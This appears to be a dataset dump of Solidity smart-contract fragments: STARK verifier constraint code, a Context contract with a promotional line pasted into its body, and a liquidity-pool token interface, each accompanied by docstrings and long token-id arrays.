// Constraint expression for bitwise/x_or_y_addr: column3_row42 - (column3_row122 + 1).
let val := addmod(
/*column3_row42*/ mload(0x1e00),
sub(PRIME, addmod(/*column3_row122*/ mload(0x1ec0), 1, PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[125].
res := addmod(res,
mulmod(val, /*coefficients[125]*/ mload(0x14e0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/next_var_pool_addr: column3_row154 - (column3_row42 + 1).
let val := addmod(
/*column3_row154*/ mload(0x1f00),
sub(PRIME, addmod(/*column3_row42*/ mload(0x1e00), 1, PRIME)),
PRIME)
// Numerator: point - trace_generator^(128 * (trace_length / 128 - 1)).
// val *= numerators[8].
val := mulmod(val, mload(0x3ce0), PRIME)
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[126].
res := addmod(res,
mulmod(val, /*coefficients[126]*/ mload(0x1500), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/partition: bitwise__sum_var_0_0 + bitwise__sum_var_8_0 - column3_row27.
let val := addmod(
addmod(
/*intermediate_value/bitwise/sum_var_0_0*/ mload(0x3060),
/*intermediate_value/bitwise/sum_var_8_0*/ mload(0x3080),
PRIME),
sub(PRIME, /*column3_row27*/ mload(0x1de0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 32) - 1.
// val *= denominator_invs[16].
val := mulmod(val, mload(0x37a0), PRIME)
// res += val * coefficients[127].
res := addmod(res,
mulmod(val, /*coefficients[127]*/ mload(0x1520), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/or_is_and_plus_xor: column3_row43 - (column3_row91 + column3_row123).
let val := addmod(
/*column3_row43*/ mload(0x1e20),
sub(
PRIME,
addmod(/*column3_row91*/ mload(0x1ea0), /*column3_row123*/ mload(0x1ee0), PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[128].
res := addmod(res,
mulmod(val, /*coefficients[128]*/ mload(0x1540), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/addition_is_xor_with_and: column1_row0 + column1_row32 - (column1_row96 + column1_row64 + column1_row64).
let val := addmod(
addmod(/*column1_row0*/ mload(0x1800), /*column1_row32*/ mload(0x1a20), PRIME),
sub(
PRIME,
addmod(
addmod(/*column1_row96*/ mload(0x1b20), /*column1_row64*/ mload(0x1a60), PRIME),
/*column1_row64*/ mload(0x1a60),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: (point^(trace_length / 128) - 1) * (point^(trace_length / 128) - trace_generator^(trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 16)) * (point^(trace_length / 128) - trace_generator^(5 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(7 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(trace_length / 8)) * (point^(trace_length / 128) - trace_generator^(9 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(5 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(11 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(3 * trace_length / 16)) * (point^(trace_length / 128) - trace_generator^(13 * trace_length / 64)) * (point^(trace_length / 128) - trace_generator^(7 * trace_length / 32)) * (point^(trace_length / 128) - trace_generator^(15 * trace_length / 64)).
// val *= denominator_invs[24].
val := mulmod(val, mload(0x38a0), PRIME)
// res += val * coefficients[129].
res := addmod(res,
mulmod(val, /*coefficients[129]*/ mload(0x1560), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/unique_unpacking192: (column1_row88 + column1_row120) * 16 - column1_row1.
let val := addmod(
mulmod(
addmod(/*column1_row88*/ mload(0x1aa0), /*column1_row120*/ mload(0x1b60), PRIME),
16,
PRIME),
sub(PRIME, /*column1_row1*/ mload(0x1820)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[130].
res := addmod(res,
mulmod(val, /*coefficients[130]*/ mload(0x1580), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/unique_unpacking193: (column1_row90 + column1_row122) * 16 - column1_row65.
let val := addmod(
mulmod(
addmod(/*column1_row90*/ mload(0x1ac0), /*column1_row122*/ mload(0x1b80), PRIME),
16,
PRIME),
sub(PRIME, /*column1_row65*/ mload(0x1a80)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[131].
res := addmod(res,
mulmod(val, /*coefficients[131]*/ mload(0x15a0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/unique_unpacking194: (column1_row92 + column1_row124) * 16 - column1_row33.
let val := addmod(
mulmod(
addmod(/*column1_row92*/ mload(0x1ae0), /*column1_row124*/ mload(0x1ba0), PRIME),
16,
PRIME),
sub(PRIME, /*column1_row33*/ mload(0x1a40)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[132].
res := addmod(res,
mulmod(val, /*coefficients[132]*/ mload(0x15c0), PRIME),
PRIME)
}
{
// Constraint expression for bitwise/unique_unpacking195: (column1_row94 + column1_row126) * 256 - column1_row97.
let val := addmod(
mulmod(
addmod(/*column1_row94*/ mload(0x1b00), /*column1_row126*/ mload(0x1bc0), PRIME),
256,
PRIME),
sub(PRIME, /*column1_row97*/ mload(0x1b40)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 128) - 1.
// val *= denominator_invs[15].
val := mulmod(val, mload(0x3780), PRIME)
// res += val * coefficients[133].
res := addmod(res,
mulmod(val, /*coefficients[133]*/ mload(0x15e0), PRIME),
PRIME)
}
mstore(0, res)
return(0, 0x20)
}
}
}
}
// ---------- End of auto-generated code. ----------
|
Compute numerators. Numerator for constraints 'cpu/decode/opcode_rc/bit'. numerators[0] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16). Numerator for constraints 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update'. numerators[1] = point - trace_generator^(16 * (trace_length / 16 - 1)). Numerator for constraints 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'. numerators[2] = point - trace_generator^(2 * (trace_length / 2 - 1)). Numerator for constraints 'rc16/perm/step0', 'rc16/diff_is_bit'. numerators[3] = point - trace_generator^(4 * (trace_length / 4 - 1)). Numerator for constraints 'diluted_check/permutation/step0', 'diluted_check/step'. numerators[4] = point - trace_generator^(trace_length - 1). Numerator for constraints 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y'. numerators[5] = point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256). Numerator for constraints 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y'. numerators[6] = point^(trace_length / 4096) - trace_generator^(trace_length / 2). Numerator for constraints 'pedersen/input0_addr'. numerators[7] = point - trace_generator^(4096 * (trace_length / 4096 - 1)). Numerator for constraints 'rc_builtin/addr_step', 'bitwise/next_var_pool_addr'. numerators[8] = point - trace_generator^(128 * (trace_length / 128 - 1)). Numerator for constraints 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'. numerators[9] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). Numerator for constraints 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'. numerators[10] = point^(trace_length / 16384) - trace_generator^(255 * trace_length / 256). Numerator for constraints 'ecdsa/pubkey_addr'. numerators[11] = point - trace_generator^(16384 * (trace_length / 16384 - 1)). Numerator for constraints 'bitwise/step_var_pool_addr'. numerators[12] = point^(trace_length / 128) - trace_generator^(3 * trace_length / 4).
|
{
mstore(0x3be0,
addmod(
sub(PRIME, /*trace_generator^(15 * trace_length / 16)*/ mload(0x3220)),
PRIME))
mstore(0x3c00,
addmod(
point,
sub(PRIME, /*trace_generator^(16 * (trace_length / 16 - 1))*/ mload(0x3240)),
PRIME))
mstore(0x3c20,
addmod(
point,
sub(PRIME, /*trace_generator^(2 * (trace_length / 2 - 1))*/ mload(0x3260)),
PRIME))
mstore(0x3c40,
addmod(
point,
sub(PRIME, /*trace_generator^(4 * (trace_length / 4 - 1))*/ mload(0x3280)),
PRIME))
mstore(0x3c60,
addmod(point, sub(PRIME, /*trace_generator^(trace_length - 1)*/ mload(0x32a0)), PRIME))
mstore(0x3c80,
addmod(
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
mstore(0x3ca0,
addmod(
sub(PRIME, /*trace_generator^(trace_length / 2)*/ mload(0x3300)),
PRIME))
mstore(0x3cc0,
addmod(
point,
sub(PRIME, /*trace_generator^(4096 * (trace_length / 4096 - 1))*/ mload(0x3320)),
PRIME))
mstore(0x3ce0,
addmod(
point,
sub(PRIME, /*trace_generator^(128 * (trace_length / 128 - 1))*/ mload(0x3340)),
PRIME))
mstore(0x3d00,
addmod(
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
mstore(0x3d20,
addmod(
sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x32c0)),
PRIME))
mstore(0x3d40,
addmod(
point,
sub(PRIME, /*trace_generator^(16384 * (trace_length / 16384 - 1))*/ mload(0x3380)),
PRIME))
mstore(0x3d60,
addmod(
sub(PRIME, /*trace_generator^(3 * trace_length / 4)*/ mload(0x33a0)),
PRIME))
| 7,773,728 |
[
1,
7018,
26511,
3062,
18,
6805,
7385,
364,
6237,
296,
11447,
19,
3922,
19,
556,
710,
67,
1310,
19,
3682,
10332,
26511,
3062,
63,
20,
65,
273,
1634,
29020,
5129,
67,
2469,
342,
2872,
13,
300,
2606,
67,
8812,
29020,
3600,
225,
2606,
67,
2469,
342,
2872,
2934,
6805,
7385,
364,
6237,
296,
11447,
19,
2725,
67,
22559,
19,
2725,
67,
2436,
19,
5645,
20,
2187,
296,
11447,
19,
2725,
67,
22559,
19,
2725,
67,
2436,
19,
5645,
21,
2187,
296,
11447,
19,
2725,
67,
22559,
19,
2725,
67,
2436,
19,
2436,
67,
10013,
67,
13258,
2187,
296,
11447,
19,
2725,
67,
22559,
19,
2725,
67,
2436,
19,
2436,
67,
10013,
67,
21094,
2187,
296,
11447,
19,
2725,
67,
22559,
19,
2725,
67,
438,
19,
438,
67,
2725,
2187,
296,
11447,
19,
2725,
67,
22559,
19,
2725,
67,
7944,
19,
7944,
67,
2725,
10332,
26511,
3062,
63,
21,
65,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
5411,
288,
203,
203,
2868,
312,
2233,
12,
20,
92,
23,
2196,
20,
16,
203,
5397,
527,
1711,
12,
203,
15604,
720,
12,
7698,
958,
16,
1748,
5129,
67,
8812,
29020,
3600,
380,
2606,
67,
2469,
342,
2872,
13,
5549,
312,
945,
12,
20,
92,
1578,
3462,
13,
3631,
203,
15604,
10365,
958,
3719,
203,
203,
2868,
312,
2233,
12,
20,
92,
23,
71,
713,
16,
203,
5397,
527,
1711,
12,
203,
15604,
1634,
16,
203,
15604,
720,
12,
7698,
958,
16,
1748,
5129,
67,
8812,
29020,
2313,
380,
261,
5129,
67,
2469,
342,
2872,
300,
404,
3719,
5549,
312,
945,
12,
20,
92,
1578,
7132,
13,
3631,
203,
15604,
10365,
958,
3719,
203,
203,
2868,
312,
2233,
12,
20,
92,
23,
71,
3462,
16,
203,
5397,
527,
1711,
12,
203,
15604,
1634,
16,
203,
15604,
720,
12,
7698,
958,
16,
1748,
5129,
67,
8812,
29020,
22,
380,
261,
5129,
67,
2469,
342,
576,
300,
404,
3719,
5549,
312,
945,
12,
20,
92,
1578,
4848,
13,
3631,
203,
15604,
10365,
958,
3719,
203,
203,
2868,
312,
2233,
12,
20,
92,
23,
71,
7132,
16,
203,
5397,
527,
1711,
12,
203,
15604,
1634,
16,
203,
15604,
720,
12,
7698,
958,
16,
1748,
5129,
67,
8812,
29020,
24,
380,
261,
5129,
67,
2469,
342,
1059,
300,
404,
3719,
5549,
312,
945,
12,
20,
92,
1578,
3672,
13,
3631,
203,
15604,
10365,
958,
3719,
203,
203,
2868,
312,
2233,
12,
20,
92,
23,
71,
4848,
16,
203,
5397,
527,
1711,
12,
1153,
16,
720,
12,
7698,
958,
2
] |
./partial_match/1/0x3aa7c7f1f9bD8A83B424a3fc708Db8cDa757a8c7/sources/BurnShiba.sol
|
* @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./
|
abstract contract Context {
Burn Shiba rebirth of hope! No one can stop its nirvana rebirth. It's coming! Where are you?
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
| 15,587,359 |
[
1,
17727,
1779,
2973,
326,
783,
4588,
819,
16,
6508,
326,
5793,
434,
326,
2492,
471,
2097,
501,
18,
21572,
4259,
854,
19190,
2319,
3970,
1234,
18,
15330,
471,
1234,
18,
892,
16,
2898,
1410,
486,
506,
15539,
316,
4123,
279,
2657,
21296,
16,
3241,
1347,
21964,
598,
2191,
17,
20376,
326,
2236,
5431,
471,
8843,
310,
364,
4588,
2026,
486,
506,
326,
3214,
5793,
261,
345,
10247,
487,
392,
2521,
353,
356,
2750,
11748,
2934,
1220,
6835,
353,
1338,
1931,
364,
12110,
16,
5313,
17,
5625,
20092,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
17801,
6835,
1772,
288,
203,
38,
321,
2638,
495,
69,
283,
22531,
434,
27370,
5,
2631,
1245,
848,
2132,
2097,
290,
481,
90,
13848,
283,
22531,
18,
2597,
1807,
19283,
5,
12177,
854,
1846,
35,
203,
203,
683,
9454,
18035,
560,
273,
20,
18,
28,
18,
2163,
1545,
20,
18,
28,
18,
2163,
1545,
20,
18,
28,
18,
20,
411,
20,
18,
29,
18,
20,
31,
203,
203,
203,
565,
445,
389,
3576,
12021,
1435,
2713,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
445,
389,
3576,
751,
1435,
2713,
1476,
5024,
1135,
261,
3890,
745,
892,
13,
288,
203,
3639,
327,
1234,
18,
892,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xD45a6ff854f441040295A94b13347D07c036596d/sources/BitoToken.sol
|
Total Token 10,000,000,000
|
uint256 public constant MAX_TOKEN_COUNT = 10000000000;
| 4,388,378 |
[
1,
5269,
3155,
1728,
16,
3784,
16,
3784,
16,
3784,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
1071,
5381,
4552,
67,
8412,
67,
7240,
273,
2130,
12648,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.6.7;
import "./IERC20.sol";
interface ILiquidERC20 is IERC20 {
// Price Query Functions
function getEthToTokenInputPrice(uint256 ethSold)
external
view
returns (uint256 tokensBought);
function getEthToTokenOutputPrice(uint256 tokensBought)
external
view
returns (uint256 ethSold);
function getTokenToEthInputPrice(uint256 tokensSold)
external
view
returns (uint256 ethBought);
function getTokenToEthOutputPrice(uint256 ethBought)
external
view
returns (uint256 tokensSold);
// Liquidity Pool
function poolTotalSupply() external view returns (uint256);
function poolTokenReserves() external view returns (uint256);
function poolBalanceOf(address account) external view returns (uint256);
function poolTransfer(address recipient, uint256 amount)
external
returns (bool);
function addLiquidity(
uint256 minLiquidity,
uint256 maxTokens,
uint256 deadline
) external payable returns (uint256 liquidityCreated);
function removeLiquidity(
uint256 amount,
uint256 minEth,
uint256 minTokens,
uint256 deadline
) external returns (uint256 ethAmount, uint256 tokenAmount);
// Buy Tokens
function ethToTokenSwapInput(uint256 minTokens, uint256 deadline)
external
payable
returns (uint256 tokensBought);
function ethToTokenTransferInput(
uint256 minTokens,
uint256 deadline,
address recipient
) external payable returns (uint256 tokensBought);
function ethToTokenSwapOutput(uint256 tokensBought, uint256 deadline)
external
payable
returns (uint256 ethSold);
function ethToTokenTransferOutput(
uint256 tokensBought,
uint256 deadline,
address recipient
) external payable returns (uint256 ethSold);
// Sell Tokens
function tokenToEthSwapInput(
uint256 tokensSold,
uint256 minEth,
uint256 deadline
) external returns (uint256 ethBought);
function tokenToEthTransferInput(
uint256 tokensSold,
uint256 minEth,
uint256 deadline,
address payable recipient
) external returns (uint256 ethBought);
function tokenToEthSwapOutput(
uint256 ethBought,
uint256 maxTokens,
uint256 deadline
) external returns (uint256 tokensSold);
function tokenToEthTransferOutput(
uint256 ethBought,
uint256 maxTokens,
uint256 deadline,
address payable recipient
) external returns (uint256 tokensSold);
// Events
event AddLiquidity(
address indexed provider,
uint256 indexed eth_amount,
uint256 indexed token_amount
);
event RemoveLiquidity(
address indexed provider,
uint256 indexed eth_amount,
uint256 indexed token_amount
);
event TransferLiquidity(
address indexed from,
address indexed to,
uint256 value
);
}
|
Price Query Functions Liquidity Pool Buy Tokens Sell Tokens Events
|
interface ILiquidERC20 is IERC20 {
function getEthToTokenInputPrice(uint256 ethSold)
external
view
returns (uint256 tokensBought);
function getEthToTokenOutputPrice(uint256 tokensBought)
external
view
returns (uint256 ethSold);
function getTokenToEthInputPrice(uint256 tokensSold)
external
view
returns (uint256 ethBought);
function getTokenToEthOutputPrice(uint256 ethBought)
external
view
returns (uint256 tokensSold);
function poolTotalSupply() external view returns (uint256);
function poolTokenReserves() external view returns (uint256);
function poolBalanceOf(address account) external view returns (uint256);
function poolTransfer(address recipient, uint256 amount)
external
returns (bool);
function addLiquidity(
uint256 minLiquidity,
uint256 maxTokens,
uint256 deadline
) external payable returns (uint256 liquidityCreated);
function removeLiquidity(
uint256 amount,
uint256 minEth,
uint256 minTokens,
uint256 deadline
) external returns (uint256 ethAmount, uint256 tokenAmount);
function ethToTokenSwapInput(uint256 minTokens, uint256 deadline)
external
payable
returns (uint256 tokensBought);
function ethToTokenTransferInput(
uint256 minTokens,
uint256 deadline,
address recipient
) external payable returns (uint256 tokensBought);
function ethToTokenSwapOutput(uint256 tokensBought, uint256 deadline)
external
payable
returns (uint256 ethSold);
function ethToTokenTransferOutput(
uint256 tokensBought,
uint256 deadline,
address recipient
) external payable returns (uint256 ethSold);
function tokenToEthSwapInput(
uint256 tokensSold,
uint256 minEth,
uint256 deadline
) external returns (uint256 ethBought);
function tokenToEthTransferInput(
uint256 tokensSold,
uint256 minEth,
uint256 deadline,
address payable recipient
) external returns (uint256 ethBought);
function tokenToEthSwapOutput(
uint256 ethBought,
uint256 maxTokens,
uint256 deadline
) external returns (uint256 tokensSold);
function tokenToEthTransferOutput(
uint256 ethBought,
uint256 maxTokens,
uint256 deadline,
address payable recipient
) external returns (uint256 tokensSold);
event AddLiquidity(
address indexed provider,
uint256 indexed eth_amount,
uint256 indexed token_amount
);
event RemoveLiquidity(
address indexed provider,
uint256 indexed eth_amount,
uint256 indexed token_amount
);
event TransferLiquidity(
address indexed from,
address indexed to,
uint256 value
);
}
| 5,396,860 |
[
1,
5147,
2770,
15486,
511,
18988,
24237,
8828,
605,
9835,
13899,
348,
1165,
13899,
9043,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
